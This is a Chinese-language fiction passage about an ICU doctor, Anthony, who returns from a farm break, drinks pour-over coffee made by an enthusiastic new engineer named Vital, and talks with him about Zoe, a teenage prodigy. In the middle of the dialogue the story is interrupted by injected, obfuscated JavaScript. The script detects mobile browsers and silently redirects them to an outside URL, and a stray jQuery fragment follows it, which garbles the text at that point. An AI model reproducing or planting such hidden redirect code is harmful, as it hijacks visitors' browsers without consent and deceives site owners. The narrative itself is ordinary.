安东尼休假期间，去近郊农场呆了两天，不是去买苹果和南瓜的，就是去散散心。这一个冬天，因为冬季呼衰，流感季以及急性窘迫的叠加影响，ICU的死亡率被拉到了惊人的30%，两个周的轮班之后，安东尼觉得自己需要放空。
已是仲春。农场里没有太多特产，但嫩草冒芽了，马驹在撒欢。他坐在农场小木屋的屋檐下喝农场主自己煮的咖啡，看着大马拉着车从便道上慢慢经过，马蹄踩在泥土上，发出沉闷的、有节奏的声响，空气里有一点稻草，马粪以及泥巴的气味，闻起来不那么好闻，但是很有生命力。咖啡有点涩，带着咖啡渣，不好喝，但热，有咖啡因。这一切混合在一起，让他从那种持续的、说不清的疲惫里缓一口气。
手机扣在桌面上，过一会儿就会震动一下。
不是佐伊。佐伊的消息通常很节制，一条说清楚所有事，然后等他回。现在震动的频率太高了，高到像有人在敲他的桌子。他翻过手机看了一眼。
Vital。又是Vital。
“安东尼！洗衣房在哪个楼？我找了半天没找到！”
“夹层食堂怎么走？他们说很好吃，我迷路了。”
“两个街区外那家超市的会员卡怎么办？我看了一下好像要本地地址，我临时公寓的地址行吗？”
“你的驾驶证怎么做的国际公证？需要翻译件吗？”
“你护照换了吗？科研身份怎么转过来？需要哪些材料？”
安东尼一条一条看完，放下手机，端起咖啡喝了一口。手机又震了。
“你不在医院吗？我去你办公室找你没找到。”
安东尼叹了口气，拿起手机打字：“休假。洗衣房在行政楼LG1，夹层食堂从技术中心电梯到2M，会员卡用临时公寓地址可以办，驾驶证公证还有科研身份的事等我回去再说。”
发完他又喝了一口咖啡，看着远处那匹马走远了，拉着车拐进一片小树林，看不到了。手机又震了。
“好的好的！你什么时候回来？”
“明天。”
他把手机扣回桌面，靠在椅背上。阳光从头顶的棚架缝隙里漏下来，落在他的膝盖上，一小块一小块的，像碎掉的蛋壳。他闭上眼，听着风从远处吹过来。春天的疾风穿过草地，穿过马厩，吹到屋檐下的时候已经没什么力气了，只是轻轻碰了碰他的头发。
“那明天见！我请你喝咖啡！我亚马逊买了一套手冲设备，到了！”
安东尼看着那条消息，嘴角动了一下，不知道是该笑还是该叹气。他完全没想通，就算拿出平时在ICU里说一不二的凌厉气势，怎么就吓不退这…大金毛似的vital。最后，安东尼没忍住发消息问佐伊：你在技术中心碰见新来的vital了吗？
“见到了，硬件系统工程师，怎么？”
“很热情吗？”安东尼难得用了个“一言难尽”的表情。是以前佐伊发给他的，他存了。
“还好。他犹犹豫豫的问我是你的谁，他看到我们一起吃早饭，以为我是你女儿。”
“你居然没否认？”安东尼嘴角弯了弯。
“忙着跟他吵硬件和软件的相容性，来不及反驳。”佐伊的消息后面跟了一只猫的表情包，怒气冲天摔桌子的那种。
“吵赢了吗？”安东尼笑了笑。
“没有输赢，事情能做下去就可以。”
这很佐伊。
当然vital能一直缠着安东尼没被彻底嫌弃，那是因为他也有另一种厉害——非常会捞生活资源的那种厉害（安东尼可能也是他捞资源的对象之一），而且总是很乐意分享。
他来的第二周，就摸清楚了附近三个街区好喝的咖啡店，好吃的小摊，以及半夜还营业的肉骨茶——他几乎在发现那个小摊的第一时间就拍照给安东尼，“快看！你家特产！”。安东尼都没弄明白这家伙是怎么判断出来自己是新加坡人的。此前几次短暂交集，好像没来得及说这件事。
Vital会自己做手冲咖啡，他发消息约安东尼说“喝一杯”的意思，就是约咖啡的意思——他真的会磨好咖啡粉，带上烧水壶，跑到安东尼的ICU办公室去给他冲咖啡。他自己说，目前设备没到齐，温度计和克秤都没有，先凑活着凭手感冲。
安东尼不太识货，第一次喝到的时候说，“有花香，很浓郁的水果味，还有坚果香，这是咖啡？”
vital毫不掩饰的翻了个白眼，“你这辈子都是喝速溶长大的吧，我每到一个新的地方，就必须给自己安排上最好喝的咖啡，找到最好的咖啡馆。否则这项目是一点都跟不下去。没事，有哥带着，今后给你喝好的。”
嗯，这家伙，性格特点里还要附带一个过分热情到没大没小。
但是他又挺有边界感的。咖啡喝完，说几句闲话，利索的收拾完东西就走。笑眯眯地问，“明天值晚班？我下班了约你。”
安东尼通常只是点点头，不说话，继续看文献或者敲病程。他偶尔用余光看看那个坐在茶几边冲咖啡的年轻人——活泼的劲头还没被工作磨平——比自己小十二岁，特别会享受生活。和之前总是坐在那个沙发角落里吃棒棒糖的小孩对待生活的态度，简直是…两个极端。
安东尼从农场回伦敦，在高速上堵了四十分钟。中午出发的，到市区的时候已经下午三点半了。他没有回公寓，直接去了办公室，桌子上积攒的签字文件和交接文件堆了一沓，此前vital说的几个办身份和公证驾照之类的文书工作，也要简单与他交代。
vital大约没在忙工作，安东尼发消息过去说自己在办公室，暂时有时间可以见面详细聊。他秒回，“二十分钟后到！”
安东尼看了一眼时间，放下手机继续看文件。第四本看到一半的时候，他听见走廊里有脚步声，不是那种护士推车的咕噜声，是那种一个人小跑过来的、带着一点兴奋的脚步声。门被敲了两下，没等他说“进来”，就被推开了。
Vital站在门口，手里拎着一个帆布袋，鼓鼓囊囊的，看起来装了不少东西。他穿着一件浅蓝色的卫衣，牛仔裤，运动鞋，头发有点乱，像是刚从机房跑出来的。
“你回来了！”他走进来，把帆布袋往茶几上一放，发出沉闷的一声响。“我给你带了豆子，埃塞俄比亚的，日晒处理，有很明显的蓝莓和茉莉花香。”
安东尼看着他把东西一样一样掏出来——一个大号保温杯，手摇磨豆机，滤杯，滤纸，手冲壶，两个陶瓷杯，一个长得像化学实验室用的温度计，还有一个小小的克秤。“你设备齐了？”
“齐了齐了！”Vital把克秤放在茶几上，打开开关，屏幕上跳出数字。“上周末到齐了。今天给你冲一杯好的，让你知道咖啡应该是什么味道。”
安东尼没说话，低下头继续看病程。Vital也不在意，自顾自地开始磨豆子。磨豆机的声音在办公室里响起来，咔啦咔啦的，像有人在摇一个八音盒。豆子的香气很快弥漫开来，很浓，带着一点水果的酸甜。
“你这两天去农场了？”Vital一边磨一边问。
“嗯。”
“好玩吗？”
“还行。”安东尼翻了一页病程，“就是去待一会儿。”
“一个人？”
“嗯。”
Vital没再问。他把磨好的咖啡粉倒进滤杯里，晃平，拿起手冲壶开始注水。热水碰到咖啡粉的时候，气泡鼓起来，香气一下子炸开了。安东尼抬起头，看着vital冲咖啡。Vital的动作很专注，水柱细而稳，从中心开始，一圈一圈往外绕，再绕回来。
冲咖啡这件事大概用了三分钟，vital晃了晃分享壶，把咖啡液晃匀。然后他凑过去闻了闻气味，有点夸张的感叹：“完美！”
小瓷杯很快被递到安东尼手边：“尝尝？”
安东尼接过来，喝了一口。很烫，但确实好喝。那种花香和果酸在舌尖上化开，和他平时喝的那种又苦又涩的美式完全不一样。
“怎么样？”Vital问，眼睛亮亮的，像一只等夸奖的金毛。
“好喝。”安东尼说。
Vital笑了笑，自己也喝了一口咖啡，靠在沙发扶手上，两条长腿伸得老长。他看着天花板，像是在想什么事情。
“佐伊是你女儿吗？”他忽然凑近了问。
安东尼看了他一眼，就算已经被佐伊的消息“预警”过了，依然有点想笑，“不是。”
“可她叫你安东尼，就像……就像那种叫名字很亲近的人…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403935|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且我这么说的时候她没反对。”vital有点尴尬，揉了揉鼻子，“我这几天一直在想这么厉害的小姑娘哪里冒出来的。”
安东尼放下杯子。“她七岁的时候我就认识她了。那时候她是我病人。”
Vital安静下来，看着安东尼。
“后来她好了，但没地方去。”安东尼说，“就留下来了。再后来她开始在技术中心做项目，你在跟着她做预警系统？”
“嗯。”Vital说，“Jotish那时候来挖我，说有个系统需要更好的硬件支撑，他把代码给我看过。很厉害。”
“嗯。是的。”安东尼笑了笑。
“所以她是在Beacon长大的？”
“差不多。”
Vital沉默了一会儿，手指在杯沿上慢慢转了一圈。“难怪…”
安东尼看着他。在想这只大金毛脑子里脑补出了什么奇怪的故事。不过他不准备多说。一方面，这是佐伊的个人隐私，他不能再说了，另一方面，自己刚来的时候，有着不输vital此刻的疑惑。出于某种…心理平衡的需要，安东尼嘴巴关的严严实实的，他端起咖啡又喝了一口，咖啡已经凉了一点，花香还在，酸香更盛了。
“你们认识多久了？”Vital问。
“八年。”
“八年。”Vital重复了一遍，点了点头。
安东尼又喝了一口咖啡，然后把杯子放下，“好了，不说这些了。你的驾照公证那些事，需要这些东西——”
安东尼从三抽柜最底下那层掏出一个文件夹，翻开，里面夹着几张打印好的清单和表格。“翻译件要找有资质的机构，公证件要去领事馆认证，还要一个居住证明。我把我办的时候用的模板发你邮箱了，你照着填就行。”
vital接过来，翻了翻。清单列得很清楚，每一条后面都标了注意事项和办理地点。
“谢谢。”他弯着眼睛笑眯眯的，眉弓下的那点深邃都变成了“得逞”的笑意。
“也谢谢你的咖啡。”
“不客气。”Vital站起来，把茶几上的咖啡器具一样一样收回帆布袋里。动作利索，和来的时候一样。“你明天值班吗？”
“值。”
“那我下班了来找你。带新豆子，肯尼亚的，听说有番茄味。”
安东尼愣了一下。“咖啡有番茄味？”
“你喝了就知道了。”Vital笑了笑，背上帆布袋，走到门口，回头看了一眼。“对了，佐伊那个预警系统，Jotish说要上线二期了。我这几天正在跟她一起赶项目。”
“嗯。”
“她真的特别特别厉害。”Vital说，“比我见过的很多人都厉害。我在MIT都觉得不怎么想写博士论文，只想做点好玩的事，来跟了这个项目，就想写了。而且她才十四岁。”
安东尼没说话。Vital笑了一下，拉开门，走出去。门在身后轻轻关上。
办公室里安静下来。安东尼坐在椅子上，看着对面那张沙发。阳光已经移到了靠垫的边缘，把那块深色的布面照出一片暖色。茶几上还有咖啡的香气，淡淡的。
护士敲门进来送外院转诊单，是一个手写的牛皮纸信封。
“安东尼主任，你今天的咖啡味道好香！”
“vital冲的。”安东尼接了信封，把转诊信抽出来看，“下次他来给你们也冲一份。”
护士笑嘻嘻退出去了，安东尼看着转诊信上的信息，是一个克罗恩病的术后，情况不好，想转到Beacon，也是想最后赌一把。拿起手机给协调中心打电话，“可以收，来吧。”
电话挂断，他把转诊单放在桌上。窗外的天光暗了一些，下午四点的伦敦，云层压得很低，但东边的天际线上有一层薄薄的光，像是太阳在云层后面慢慢往下走。他靠在椅背上，看着对面那张空着的沙发。茶几上的咖啡香气已经完全散了，只剩下纸张和消毒水的味道。
他想起Vital说的那句话：“她真的特别特别厉害。”
想起佐伊发来的那只猫的表情包，怒气冲天摔桌子的那种。想起她说“没有输赢，事情能做下去就可以”。他笑了一下，很轻，然后低下头，继续看下一份文件。